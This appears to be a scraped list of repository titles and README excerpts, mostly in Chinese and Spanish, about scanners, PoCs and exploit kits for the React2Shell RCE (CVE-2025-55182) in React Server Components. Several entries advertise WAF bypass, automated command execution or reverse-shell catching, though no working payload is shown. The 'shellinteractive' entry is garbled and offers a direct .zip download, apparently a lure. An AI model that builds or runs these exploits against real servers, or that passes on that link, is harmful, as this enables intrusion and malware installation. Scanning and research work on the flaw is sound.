CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 – GUI de React2Shell RCE Una herramienta GUI moderna con temática neón para pruebas de seguridad de React2Shell CVE-2025-55182 en aplicaciones React Server Components / Next.js. Construida con Python + CustomTkinter , te permite: Verificar si un endpoint específico es vulnerable a...

CVE-2025-55182-Scanner

CVE-2025-55182 混合安全扫描器 一款专业级混合安全扫描器，旨在为 CVE-2025-55182 桥接静态分析与动态利用能力。本工具适用于开发者（左移安全）和安全专业人员（生产环境测试）。 功能特性 静态分析 ：扫描 package.json 和源代码，检测易受攻击的 Next.js/Waku 版本及危险的 RSC 模式。 动态验证 ：安全测试在线端点是否暴露 RSC 漏洞，无需执行有害载荷。 混合模式 ：结合静态与动态检查，实现全面的风险评估。 报告输出 ：以 JSON 格式输出详细发现结果，并提供彩色 CLI 反馈。 CI/CD 就绪...

react2shellexploitvisualized

React2Shell CVE-2025-55182 可视化 一个交互式教育可视化工具，用于解释 React2Shell 漏洞——一个影响 React 服务器组件的 CVSS 10.0 严重远程代码执行缺陷。 这是什么 一个包含 5 个步骤的带旁白讲解，解释以下内容： 1. 传统 SSR - 服务器端渲染的工作原理及“JSON 瓶颈”问题 2. RSC 流式传输 - React 服务器组件如何通过流式传输解决此问题 3. 漏洞利用 - 原型污染 + 组合链如何导致 RCE 4. 修复方案 - 一行 hasOwnProperty 检查如何阻止攻击 5. 关键要点 -...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - React服务器组件RCE利用工具v2.0 一个全面的安全研究工具，用于测试React服务器组件RSC和Next.js Server Actions中的CVE-2025-55182 和CVE-2025-66478 漏洞。 漏洞总览...

React2Shell

RSC Sentinel Una extensión de Firefox para detectar vulnerabilidades React2Shell CVE-2025-55182 y CVE-2025-66478 en aplicaciones web. 👁️ Descripción general RSC Sentinel es una extensión de navegador Firefox para investigadores y educadores de seguridad que desean observar los indicadores de React...

CVE-2025-55182-React2Shell

React2Shell React2Shell 是一个概念验证（PoC）漏洞利用，演示了在使用React服务端组件（RSC） 的现代Web框架中的一个严重远程代码执行（RCE）漏洞。 该PoC针对CVE-2025-55182，这是一个CVSS 10.0漏洞，允许未经认证的远程攻击者通过React服务端组件实现中的不安全反序列化执行任意系统命令。 🔍 漏洞概述 React2Shell 利用了一个缺陷，该缺陷存在于React服务端组件在重新水合 阶段处理不受信任输入的方式中。 指标| 详细 ---|--- 严重性| 严重（10.0 / 10.0） 向量|...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高级利用与硕士论文研究 -brightred 不可信数据反序列化 + React Server Components 中的原型污染 通过 Next.js Server Actions 实现未经认证的远程代码执行 受影响版本: React 19.0.0 - 19.2.0 · 补丁: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高级利用演示 - RCE基本命令、交互式Shell以及针对易受攻击的Next.js应用的多种攻击向量 描述 该仓库包含我关于 CVE-2025-55182 的 硕士论文...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC——带 WAF 绕过 一个针对 CVE-2025-55182 （又名 React2Shell）的简洁、可靠的 Python 概念验证（PoC）漏洞利用程序，该漏洞是 Next.js（App Router）及类似框架所使用的 React Server Components 中的一个严重远程代码执行漏洞。 该 PoC 包含动态 WAF 绕过填充 ，可规避那些限制对大型 multipart 请求体进行深度检测的常见 Web 应用防火墙（Cloudflare、AWS WAF 等）。 漏洞概述 CVE ：CVE-2025-55182 CV...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — El protocolo Flight de React es la capa de serialización detrás de los Componentes de Servidor de React. CVE-2025-55182 explota una falla de deserialización en Flight para lograr RCE sin autenticación previa. Si tu aplicación usa RSC, es un flight risk. Kit ...

react2shell-scanner

🚨 React2Shell 扫描器 React 服务端组件中的 CVSS 10.0 RCE。你的 React 19 应用存在漏洞吗？ 用于检测 CVE-2025-55182（React2Shell）的快速、精准扫描器——这是一个已被在野利用的严重远程代码执行漏洞。凭借智能的服务端组件检测实现零误报。 🚨 关于 React2Shell（CVE-2025-55182） React2Shell 是 React 服务端组件中的一个最高严重级别（CVSS 10.0）漏洞，允许未经身份验证的远程代码执行。攻击者可通过向服务端函数端点发送特制的 HTTP 请求来利用此漏洞。 关键信息： 受影响：...

CVE-2025-55182

CVE-2025-55182 如果你在寻找真正的解释，msanft/CVE-2025-55182 有一个不错的解释（附带可用的PoC）。 这个仓库只包含我尝试的一些东西，产生了一些有趣的（？）结果。 ./thing.py 现在包含一个可用的PoC，大部分取自 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3。 旧资料 模板： root@kitploit: !/usr/bin/env python3 import httpx c =...

React2P4IM0Nshell

React2P4IM0Nshell 💥用于Next.js和React Server Components RSC环境的扩展工具，用于高级审计和利用RCE/Source Leak/Dos CVE-2025-55182/83/84，直接从浏览器操作，扩展内嵌Linux终端以接收任何反弹shell ❌ ⚡ CMDCENTER: 核心 👁️ 被动识别 我静默分析DOM和HTTP头部。检测诸如window.nextf和text/x-component等签名，以在不触发WAF的情况下识别Next.js App Router架构。 🕵️‍♂️ 📡 主动探测（握手） 发送带有RSC:...

react2shell

React2Shell 一款用于利用React Server Components / Server Actions中原型污染漏洞（CVE-2025-55182 和 CVE-2025-66478）的CLI工具，可在易受攻击的服务器上实现远程代码执行（RCE）。 原始PoC：https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 警告：此工具针对一个严重漏洞（CVSS 10.0），该漏洞正在被积极利用。 仅可在您拥有所有权或已获得明确授权的系统上使用。 法律免责声明...

react2shell-scanner

react2shell-scanner Un escáner de vulnerabilidades de línea de comandos de alta fidelidad para detectar CVE-2025-55182 y CVE-2025-66478 Ejecución Remota de Código en aplicaciones Next.js que utilizan React Server Components RSC. 🚨 Resumen de Vulnerabilidades Estas vulnerabilidades críticas afecta...

CVE-2025-55182

CVE-2025-55182: React2Shell - Kit de ejecución remota de código para Next.js !WARNING Esta herramienta se proporciona únicamente para pruebas autorizadas y fines educativos. El acceso no autorizado a redes y la exfiltración de datos son ilegales. Los usuarios son responsables de asegurarse de...

Unihackers---CVE-2025-55182-

PANDILLA ITALIANA React2Shell PoC Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica RCE React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una vulnerabilidad de...

EXPLOIT-CVE-2025-55182

CVE-2025-55182 概念验证 概述 针对 CVE-2025-55182 React2Shell 的实践演示——React Server Components 中的一个严重 RCE 漏洞。 漏洞详情 CVE 编号 : CVE-2025-55182 类型 : 通过原型污染实现的远程代码执行 CVSS : 9.8 严重 影响范围 : React 19.0.0, 19.1.0, 19.1.1, 19.2.0 攻击向量 React Server Components 不安全地反序列化 FormData。特制的多部分字段会触发原型污染，并通过 childprocess.execSync...

CVE-2025-55182_liyon

CVE-2025-55182 - React Server Components RCE ⚠️ 法律声明 : 此工具仅用于安全研究、授权渗透测试和教育目的。在未获得明确许可的情况下，将此工具用于目标系统是非法且不道德的。 📋 概述 CVE-2025-55182 是 React Server Components RSC 中的一个关键远程代码执行RCE漏洞，允许未认证的攻击者通过恶意的JavaScript反序列化在服务器上执行任意代码。 🎯 漏洞详情...

React2Shell

React2Shell – 高级发现与利用框架 这是一个针对 CVE-2025-55182 和 CVE-2025-66478 的 React服务器组件 RSC 漏洞的高级扫描与利用工具 ，影响 Next.js 应用程序 。 本工具在原始 React2Shell 研究与概念验证的基础上进行了扩展，引入了自动化利用、WAF 绕过技术、Windows 支持、多线程扫描以及运营级可靠性 。 🚀 概述 react2shell.py 是 React2Shell 检测方法的高级演进版本 ，具备以下能力： 高置信度漏洞发现 安全与非安全利用模式 检测后自动执行命令 WAF 与边缘防护绕过 支持 Linu...